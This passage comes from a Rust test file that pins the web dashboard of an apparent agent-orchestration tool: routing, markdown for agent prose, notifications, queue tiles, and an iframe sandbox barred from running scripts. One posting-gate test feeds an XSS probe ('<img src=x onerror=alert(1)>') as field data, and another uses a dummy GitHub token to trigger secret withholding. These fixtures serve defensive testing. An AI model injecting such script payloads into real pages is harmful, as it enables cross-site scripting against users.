22136        assert!(land.contains("append(box, ["));
22137        // Tabs are hash routes; the run id alone decides a reload.
22138        let parse_route = APP_JS.split_once("function parseRoute").unwrap().1;
22139        let parse_route = parse_route.split_once("/* ---- two-pane layout").unwrap().0;
22140        assert!(parse_route.contains("RUN_TABS.includes(parts[2])"));
22141        assert!(
22142            body("function applyRoute").contains("const prevRoute = state.route;")
22143                && body("function applyRoute")
22144                    .contains("route.name !== prevRoute.name || route.id !== prevRoute.id")
22145        );
22146        // The decorative diagram is gone, the strip and its guards stay.
22147        assert!(!APP_JS.contains("adviseConvergeDiagram"));
22148        assert!(!INDEX_HTML.contains("advise-converge"));
22149        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
22150        assert!(APP_JS.contains("provisional"));
22151        for id in [
22152            "run-tab-overview",
22153            "run-tab-timeline",
22154            "run-tab-report",
22155            "run-report",
22156            "runs-scope",
22157        ] {
22158            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
22159        }
22160        assert!(!INDEX_HTML.contains("runs-tree"));
22161        assert!(!INDEX_HTML.contains("run-raw-panel"));
22162        // Fold still says it cannot be resumed.
22163        assert!(APP_JS.contains("resume"));
22164        // The unreadable-runs count stays on the page.
22165        assert!(APP_JS.contains("unreadable"));
22166    }
22167
22168    #[test]
22169    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
22170        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
22171        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
22172        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
22173        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
22174        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
22175        // The subtitle still counts them whatever the banner does.
22176        assert!(APP_JS.contains("unreadable` : null"));
22177    }
22178
22179    #[test]
22180    fn blocked_run_detail_exposes_the_failed_gate_reason() {
22181        let mut state = RunState::new(
22182            "/repo".into(),
22183            "main".into(),
22184            "abc".into(),
22185            "task".into(),
22186            crate::config::Config::default(),
22187        );
22188        state.status = RunStatus::Blocked;
22189        state.gate_ran = true;
22190        state.gate.push(crate::run::CommandOutcome {
22191            command: "cargo make check".into(),
22192            code: Some(1),
22193            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
22194            duration_ms: 0,
22195            resource_blocked: false,
22196            ..Default::default()
22197        });
22198        let view = RunDetailView::of(
22199            state,
22200            false,
22201            crate::run::Liveness::Unknown,
22202            None,
22203            None,
22204            None,
22205        );
22206        let value = serde_json::to_value(view).unwrap();
22207        assert_eq!(
22208            value["stop_reason"],
22209            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
22210        );
22211    }
22212
22213    #[test]
22214    fn the_run_detail_payload_says_whether_the_run_is_done() {
22215        // `landView` reads `run.done`; the detail response must carry it.
22216        for (status, done) in [
22217            (RunStatus::Superseded, true),
22218            (RunStatus::Blocked, true),
22219            (RunStatus::Landing, false),
22220        ] {
22221            let mut state = RunState::new(
22222                std::path::PathBuf::from("/repo"),
22223                "main".to_owned(),
22224                "abc".to_owned(),
22225                "x".to_owned(),
22226                crate::config::Config::default(),
22227            );
22228            state.status = status;
22229            let v = serde_json::to_value(RunDetailView::of(
22230                state,
22231                false,
22232                crate::run::Liveness::Unknown,
22233                None,
22234                None,
22235                None,
22236            ))
22237            .unwrap();
22238            assert_eq!(v["done"], done, "{status:?}");
22239        }
22240    }
22241
22242    /// The first node of a markdown block holds a `strong` somewhere.
22243    fn has_strong(nodes: &[md::Node]) -> bool {
22244        serde_json::to_string(nodes).unwrap().contains("strong")
22245    }
22246
22247    #[test]
22248    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
22249        let mut state = RunState::new(
22250            std::path::PathBuf::from("/repo"),
22251            "main".to_owned(),
22252            "abc".to_owned(),
22253            "x".to_owned(),
22254            crate::config::Config::default(),
22255        );
22256        let proposal = |approach: &str| {
22257            serde_json::json!({
22258                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
22259            })
22260        };
22261        state.advice = Some(
22262            serde_json::from_value(serde_json::json!({
22263                "records": [
22264                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
22265                     "proposal": proposal("do **this**")},
22266                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
22267                ],
22268                "synthesis": "- one\n- **two**\n\n`code`",
22269            }))
22270            .unwrap(),
22271        );
22272        state.candidates = serde_json::from_value(serde_json::json!([
22273            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
22274             "summary": "did **it**"},
22275            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
22276        ]))
22277        .unwrap();
22278        // Recorded in ascending severity, the reverse of how the page sorts
22279        // them: the arrays must follow the record, not the display.
22280        state.reviews = serde_json::from_value(serde_json::json!([{
22281            "round": 1, "head": "h",
22282            "reviews": [{
22283                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
22284                "findings": [
22285                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
22286                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
22287                ],
22288            }],
22289            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
22290            "fix": {"agent": "a", "notes": "fixed **it**",
22291                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
22292        }, {"round": 2, "head": "h2", "reviews": []}]))
22293        .unwrap();
22294
22295        let v = serde_json::to_value(RunDetailView::of(
22296            state,
22297            false,
22298            crate::run::Liveness::Unknown,
22299            None,
22300            None,
22301            None,
22302        ))
22303        .unwrap();
22304
22305        let strong = |p: &str| {
22306            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
22307            assert!(n.to_string().contains("strong"), "{p}: {n}");
22308        };
22309        strong("/advice_md/synthesis");
22310        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
22311        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
22312        strong("/advice_md/approaches/0");
22313        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
22314        strong("/candidate_summaries_md/0");
22315        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
22316        strong("/reviews_md/0/reviewers/0/summary");
22317        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
22318        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
22319        assert!(f[1].to_string().contains("strong"));
22320        strong("/reviews_md/0/reconsideration/0");
22321        strong("/reviews_md/0/fix/notes");
22322        strong("/reviews_md/0/fix/rejected/0");
22323        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
22324        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
22325        // The raw strings stay, and no schema moved.
22326        assert_eq!(v["candidates"][0]["summary"], "did **it**");
22327        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
22328    }
22329
22330    #[test]
22331    fn a_run_without_advice_has_no_advice_md() {
22332        let state = RunState::new(
22333            std::path::PathBuf::from("/repo"),
22334            "main".to_owned(),
22335            "abc".to_owned(),
22336            "x".to_owned(),
22337            crate::config::Config::default(),
22338        );
22339        let p = run_prose_md(&state);
22340        assert!(p.advice_md.is_none());
22341        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
22342    }
22343
22344    #[test]
22345    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
22346        let store = ask::Questions::at(PathBuf::from("unused"));
22347        let gt = crate::github_text::Withheld {
22348            title: false,
22349            body: true,
22350            categories: vec!["sensitive-data".into()],
22351        };
22352        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
22353        let (detail, comparison) =
22354            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
22355        let mut q = Question::new(
22356            "r".into(),
22357            "github-text".into(),
22358            "posting-gate".into(),
22359            "s".into(),
22360            detail,
22361            Vec::new(),
22362        );
22363        assert!(
22364            QuestionView::of(q.clone(), &store, None)
22365                .posting_view
22366                .is_none()
22367        );
22368        q.posting_comparison = Some(comparison);
22369        let view = QuestionView::of(q.clone(), &store, None);
22370        let field = &view.posting_view.unwrap().fields[0];
22371        assert_eq!(
22372            field
22373                .original
22374                .iter()
22375                .map(|f| f.text.as_str())
22376                .collect::<String>(),
22377            body
22378        );
22379        assert!(field.original[0].text.starts_with("<img"));
22380        let original_question: Question =
22381            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
22382        assert_eq!(original_question, q);
22383        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
22384            .original
22385            .start = 1;
22386        assert!(
22387            QuestionView::of(q.clone(), &store, None)
22388                .posting_view
22389                .is_none()
22390        );
22391        q.posting_comparison = original_question.posting_comparison;
22392        q.detail.push_str("extra context");
22393        assert!(
22394            QuestionView::of(q.clone(), &store, None)
22395                .posting_view
22396                .is_some()
22397        );
22398        q.detail.insert(0, 'x');
22399        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
22400    }
22401
22402    #[test]
22403    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
22404        let store = ask::Questions::at(PathBuf::from("unused"));
22405        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
22406        let gt = crate::github_text::Withheld::from_check(
22407            &crate::github_text::check("fix: x", body),
22408            "fix: x",
22409            body,
22410        )
22411        .unwrap();
22412        let (detail, comparison) =
22413            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
22414        let mut q = Question::new(
22415            "r".into(),
22416            "github-text".into(),
22417            "posting-gate".into(),
22418            "s".into(),
22419            detail,
22420            Vec::new(),
22421        );
22422        q.posting_comparison = Some(comparison);
22423        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
22424        let field = &value["posting_view"]["fields"][0];
22425        let group = &field["replacement_group"];
22426        let triggers = group["triggers"].as_array().unwrap();
22427        assert_eq!(triggers.len(), 2);
22428        assert_ne!(triggers[0], triggers[1]);
22429        for id in triggers {
22430            assert!(
22431                field["original"]
22432                    .as_array()
22433                    .unwrap()
22434                    .iter()
22435                    .any(|f| &f["pair"] == id)
22436            );
22437            assert!(
22438                !field["changed"]
22439                    .as_array()
22440                    .unwrap()
22441                    .iter()
22442                    .any(|f| &f["pair"] == id)
22443            );
22444        }
22445        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
22446            group["id"].as_u64().unwrap() as usize;
22447        assert!(
22448            QuestionView::of(q, &store, None).posting_view.is_none(),
22449            "group and trigger IDs cannot collide"
22450        );
22451    }
22452
22453    #[test]
22454    fn a_question_view_carries_markdown_for_each_thread_turn() {
22455        let home = TempDir::new().unwrap();
22456        let store = ask::Questions::at(home.path().join("questions"));
22457        let mut q = Question::new(
22458            "run".to_owned(),
22459            "implement".to_owned(),
22460            "impl-A".to_owned(),
22461            "which?".to_owned(),
22462            String::new(),
22463            Vec::new(),
22464        );
22465        q.say("plain words").unwrap();
22466        q.reply("use **this**", Vec::new()).unwrap();
22467        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
22468        let bodies = &v["thread_bodies_md"];
22469        assert_eq!(bodies.as_array().unwrap().len(), 2);
22470        assert!(!bodies[0].to_string().contains("strong"));
22471        assert!(bodies[1].to_string().contains("strong"));
22472    }
22473
22474    #[test]
22475    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
22476        let home = TempDir::new().unwrap();
22477        let store = ask::Questions::at(home.path().join("questions"));
22478        let mut q = Question::new(
22479            "run".to_owned(),
22480            "conduct".to_owned(),
22481            "conduct".to_owned(),
22482            "which?".to_owned(),
22483            String::new(),
22484            Vec::new(),
22485        );
22486        q.say("plain words").unwrap();
22487        q.thread.push(ask::Turn {
22488            who: ask::Who::Agent,
22489            body: "Settled as `merge`".to_owned(),
22490            at: jiff::Timestamp::now(),
22491            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
22492        });
22493        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
22494        let notes = &v["thread_notes_md"];
22495        assert_eq!(notes.as_array().unwrap().len(), 2);
22496        assert!(notes[0].is_null());
22497        let text = notes[1].to_string();
22498        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
22499        assert!(APP_JS.contains("ask-turn-note"));
22500    }
22501
22502    #[test]
22503    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
22504        // The land panel defers to `run.status` for merged, and labels a
22505        // recorded-open PR on any finished run (superseded, blocked, ...) as
22506        // last seen, never as live state.
22507        assert!(APP_JS.contains("function landView(run, raw) {"));
22508        assert!(
22509            APP_JS.contains(
22510                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
22511            )
22512        );
22513        assert!(APP_JS.contains("const pr = landView(run, raw);"));
22514        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
22515        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
22516        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
22517    }
22518
22519    #[test]
22520    fn live_runs_are_never_hidden_or_folded_as_superseded() {
22521        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
22522        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
22523        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
22524        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
22525    }
22526
22527    #[test]
22528    fn review_rounds_label_a_distinct_verified_head() {
22529        assert!(APP_JS.contains("round.verified_head"));
22530        assert!(APP_JS.contains("verified HEAD"));
22531        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
22532    }
22533
22534    #[test]
22535    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
22536        // A blocked task's chip and note must not fall back to a queued-like
22537        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
22538        // itself by e11fc58 but never checked here.
22539        assert!(APP_JS.contains("blocked: { glyph:"));
22540        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
22541
22542        // `blocked_by` mixes task ids and question ids in the same list, and
22543        // the client can only tell them apart by checking each id against
22544        // what it actually knows - never by guessing from the id's shape.
22545        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
22546        assert!(
22547            APP_JS.contains(
22548                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
22549            ),
22550            "the note line must name what a blocked task is waiting on, not just that it is blocked"
22551        );
22552        // The classification must key off `status_str`, never off `blocked_by`
22553        // or `block_reason` merely being present - both can survive briefly
22554        // on a task a hold or a dead daemon just moved off `blocked`.
22555        assert!(APP_JS.contains("if (status === \"blocked\") {"));
22556
22557        // The dedicated Dependencies view uses the server-projected
22558        // `/api/dependencies` explorer rather than the obsolete client SVG.
22559        assert!(APP_JS.contains("dependencies: \"/api/dependencies\""));
22560        assert!(!APP_JS.contains("function depNode("));
22561        assert!(!APP_JS.contains("function dependencyRanks("));
22562
22563        // `Task::answers` - decisions already made - are shown as a record on
22564        // the card, the same disclosure style as the full instruction.
22565        assert!(APP_JS.contains("Resolved questions"));
22566        assert!(APP_JS.contains("r.answersList.append("));
22567        assert!(APP_CSS.contains(".task-answers"));
22568        {
22569            let start = APP_JS
22570                .find("function updateTalkTaskRow")
22571                .expect("updateTalkTaskRow");
22572            let body = &APP_JS[start..];
22573            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
22574            assert!(
22575                body.contains(
22576                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
22577                ),
22578                "a chat-filed task row must link to the task page"
22579            );
22580            assert!(
22581                !body.contains("#/runs/") && !body.contains("#/queue/"),
22582                "the row must not branch to a run or the queue card"
22583            );
22584            assert!(APP_CSS.contains(".talk-task-link"));
22585        }
22586    }
22587
22588    #[test]
22589    fn a_task_notification_links_to_the_task_page() {
22590        // A task notice opens the task detail page, not the Backlog card.
22591        let start = APP_JS
22592            .find("function noticeLink(")
22593            .expect("noticeLink exists");
22594        let body = &APP_JS[start..];
22595        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
22596        assert!(
22597            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
22598            "a task notice's link must target the task page"
22599        );
22600        assert!(
22601            !body.contains("#/queue/"),
22602            "regression: the task link must not go back to the Backlog route"
22603        );
22604        assert!(
22605            APP_JS.contains(
22606                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
22607            ),
22608            "`#/tasks/<id>` must parse into the task route"
22609        );
22610
22611        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
22612        assert!(
22613            APP_JS.contains(
22614                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
22615            ),
22616            "`#/queue/<id>` must parse into a route carrying that id"
22617        );
22618
22619        // And the Backlog view has to actually land on the card once it can
22620        // - see consumeQueueFocus(), which renderQueue() calls on every pass
22621        // so a focus set before the queue has loaded is retried once it has.
22622        assert!(APP_JS.contains("state.queueFocus = route.id;"));
22623        assert!(APP_JS.contains("function consumeQueueFocus()"));
22624        assert!(APP_JS.contains("jumpToTask(id)"));
22625    }
22626
22627    #[test]
22628    fn notifications_distinguish_actionable_questions_from_informational_notices() {
22629        let start = APP_JS
22630            .find("function noticeCoveredBy(")
22631            .expect("noticeCoveredBy exists");
22632        let body = &APP_JS[start..];
22633        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
22634
22635        // Historical associations are informational, even for open questions.
22636        assert!(body.contains("Associated question ${short}"));
22637        assert!(!body.contains("el(\"a\""));
22638
22639        // A resolved question displays status rather than an actionable link
22640        assert!(body.contains("(resolved)"));
22641        assert!(body.contains("(closed)"));
22642
22643        let start = APP_JS
22644            .find("function renderNotifications()")
22645            .expect("renderNotifications exists");
22646        let body = &APP_JS[start..];
22647        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
22648
22649        // Only a server-resolved answerable question supplies a response link.
22650        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
22651        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
22652        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
22653        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
22654    }
22655
22656    /// Chat rows are two lines at every width: the title alone, then the
22657    /// shrinkable secondary info.
22658    #[test]
22659    fn chat_rows_put_the_title_alone_on_the_first_line() {
22660        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
22661        assert!(APP_CSS.contains(
22662            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
22663        ));
22664        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
22665        assert!(APP_JS.contains("class: \"badge talk-unread\""));
22666    }
22667
22668    #[test]
22669    fn run_rows_put_the_title_alone_on_the_first_line() {
22670        assert!(
22671            APP_CSS.contains(
22672                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
22673            )
22674        );
22675        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
22676        assert!(APP_JS.contains("class: \"card run-card\""));
22677        assert!(APP_JS.contains("class: \"repo run-id\""));
22678    }
22679
22680    /// Wide screens get a master/detail layout built from the views a phone
22681    /// drills into. These are string assertions: they pin the contract between
22682    /// the three assets, not how it looks.
22683    #[test]
22684    fn wide_screens_show_list_and_preview_side_by_side() {
22685        // One breakpoint, spelled the same in the script and the stylesheet.
22686        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
22687        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
22688        assert!(APP_CSS.contains("main[data-split]"));
22689        assert!(APP_CSS.contains("body[data-split]"));
22690
22691        // The route -> panes table, and a narrow screen opting out of it.
22692        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
22693        assert!(
22694            APP_JS.contains(
22695                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
22696            )
22697        );
22698        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
22699        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
22700        assert!(INDEX_HTML.contains("id=\"split-empty\""));
22701
22702        // Selection is derived from the route, and only ever paints a row.
22703        assert!(APP_JS.contains("function markSelected() {"));
22704        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
22705        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
22706        // The dense row must override the stacked card the 720px block sets up.
22707        assert!(
22708            APP_CSS.contains(
22709                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
22710            )
22711        );
22712
22713        // Independent scrolling: the page stops scrolling, each pane does.
22714        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
22715        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
22716        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
22717        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
22718
22719        // A refresh must never navigate: the loaders still check that their
22720        // subject is the one on screen, and crossing the breakpoint only
22721        // re-reads the hash.
22722        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
22723        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
22724        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
22725        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
22726
22727        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
22728        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
22729    }
22730
22731    #[test]
22732    fn panel_sandbox_carries_exactly_popups() {
22733        let needle = "sandbox: \"";
22734        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
22735        assert_eq!(
22736            matches.len(),
22737            1,
22738            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
22739        );
22740        let start = matches[0].0 + needle.len();
22741        let end = APP_JS[start..]
22742            .find('"')
22743            .expect("sandbox attribute value must be terminated by a closing quote");
22744        let val = &APP_JS[start..start + end];
22745        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
22746        let expected: std::collections::BTreeSet<&str> =
22747            ["allow-popups", "allow-popups-to-escape-sandbox"]
22748                .into_iter()
22749                .collect();
22750        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
22751        assert!(
22752            !tokens.contains("allow-scripts"),
22753            "allow-scripts must never be present in sandbox"
22754        );
22755        assert!(
22756            !tokens.contains("allow-same-origin"),
22757            "allow-same-origin must never be present in sandbox"
22758        );
22759    }
22760
22761    #[test]
22762    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
22763        // consumeQueueFocus() clears an active Backlog search before it can
22764        // scroll to the target card (the sections list is hidden while a
22765        // search is showing), by recursing back into renderQueue(). The
22766        // fixer's first cut nulled state.queueFocus before that recursive
22767        // call, so the second pass saw nothing to jump to and the jump was
22768        // silently dropped whenever a notification's link was opened with a
22769        // stale search still active. state.queueFocus must only be cleared
22770        // right before jumpToTask() actually runs.
22771        assert!(
22772            APP_JS.contains(
22773                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
22774            ),
22775            "the search-clearing branch must run before state.queueFocus is cleared, or the \
22776             recursive renderQueue() call has nothing left to jump to"
22777        );
22778        assert!(
22779            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
22780            "state.queueFocus must be cleared only once the jump has landed, so a card that \
22781             arrives later still gets it"
22782        );
22783        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
22784        assert!(APP_JS.contains("is not in the current Backlog."));
22785        assert!(APP_JS.contains("li.card[data-task-id=\""));
22786        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
22787        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
22788        assert!(APP_CSS.contains(".card-permalink"));
22789        assert!(APP_CSS.contains(".queue-focus-status"));
22790        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
22791    }
22792
22793    #[test]
22794    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
22795        // The task's own repro: only the link text inside .notice-meta was
22796        // clickable, so a tap on the message, the timestamp, or the card's
22797        // padding did nothing - on a phone that reads as "the card doesn't
22798        // work" even though the tiny link inside it did. Mark read / Dismiss
22799        // must keep working independently of this: `.closest("a, button")`
22800        // is what lets a tap that actually lands on those elements fall
22801        // through instead of being hijacked into a navigation.
22802        assert!(
22803            APP_JS.contains(
22804                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
22805            ),
22806            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
22807        );
22808    }
22809
22810    #[test]
22811    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
22812        assert!(
22813            APP_JS.contains("round.verified_head !== round.head"),
22814            "a round that verified an earlier commit must be visibly distinct from one that \
22815             verified the head reviewers are looking at now"
22816        );
22817        assert!(
22818            APP_JS.contains("round.verified_at"),
22819            "when a check ran must be on the wire, not just which commit"
22820        );
22821        assert!(
22822            APP_JS.contains("resource_blocked"),
22823            "a command magi never got to run (shared build cache contention) must not render \
22824             the same as a command that ran and failed"
22825        );
22826    }
22827
22828    #[test]
22829    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
22830        // Every KPI tile but Total runs and Completion names an exact
22831        // RunStatus and hands it to openRunsFiltered(), which is what wires
22832        // the click into state.runsFilter.status (matchesFilter's own
22833        // status check) rather than the coarser runsStateFilter chips. Each
22834        // status literal here must be one of the strings runSection() (and
22835        // isStale()) actually compare a run's own `status` field against -
22836        // a status this dashboard invented would filter to nothing.
22837        assert!(
22838            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
22839            "every KPI tile built through statusTile() must route its click through \
22840             openRunsFiltered, the single place that sets the Runs filter"
22841        );
22842        for (label, status) in [
22843            ("Merged", "merged"),
22844            ("Ready", "ready"),
22845            ("Blocked", "blocked"),
22846            ("Stalled", "stalled"),
22847        ] {
22848            let call = format!("statusTile(\"{label}\", t.{status}, ");
22849            assert!(
22850                APP_JS.contains(&call),
22851                "expected the {label} KPI tile built via {call}..."
22852            );
22853            assert!(
22854                APP_JS.contains(&format!("status === \"{status}\"")),
22855                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
22856                 compare a run against, not one invented only for the stats tile"
22857            );
22858        }
22859        assert!(
22860            APP_JS.contains("function openRunsFiltered(status)"),
22861            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
22862        );
22863        assert!(
22864            APP_JS.contains(
22865                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
22866            ),
22867            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
22868        );
22869        // applyRoute() only flips which view is visible for a plain `#runs`
22870        // hash - it does not itself redraw the list (see applyRoute's own
22871        // handling below) - so openRunsFiltered must call renderRuns()
22872        // itself, and must call applyRoute() too so the view flips even
22873        // when the hash string doesn't change (the operator may already be
22874        // on the Runs view when a tile is tapped, which fires no
22875        // hashchange event at all).
22876        assert!(
22877            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
22878            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
22879             hashchange event that may never fire"
22880        );
22881    }
22882
22883    #[test]
22884    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
22885        // A stats tile can leave state.runsFilter.status set to something
22886        // done-by-construction (e.g. "merged") - picking "Active" afterward
22887        // must drop it the same way an incompatible tree section is already
22888        // dropped, or the Runs list renders permanently empty with no way
22889        // for the operator to tell why.
22890        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
22891        assert!(
22892            APP_JS.contains(
22893                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
22894            ),
22895            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
22896             guard for an incompatible tree section"
22897        );
22898    }
22899
22900    #[test]
22901    fn every_stats_queue_tile_names_a_real_queue_section() {
22902        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
22903        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
22904        // (consumeQueueSectionFocus finds no matching <details> and drops
22905        // the focus) rather than fail loudly, so pin every key against the
22906        // section list it has to resolve against.
22907        assert!(
22908            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
22909            "every queue tile built through sectionTile() must route its click through \
22910             openQueueSectionFocus"
22911        );
22912        for key in ["upnext", "running", "done", "held", "blocked"] {
22913            assert!(
22914                APP_JS.contains(&format!("{{ key: \"{key}\",")),
22915                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
22916            );
22917        }
22918        // Queued and Failed intentionally both resolve to "upnext" - the
22919        // same section queueSection() itself files them under - rather than
22920        // getting a section each.
22921        for line in [
22922            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
22923            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
22924            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
22925            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
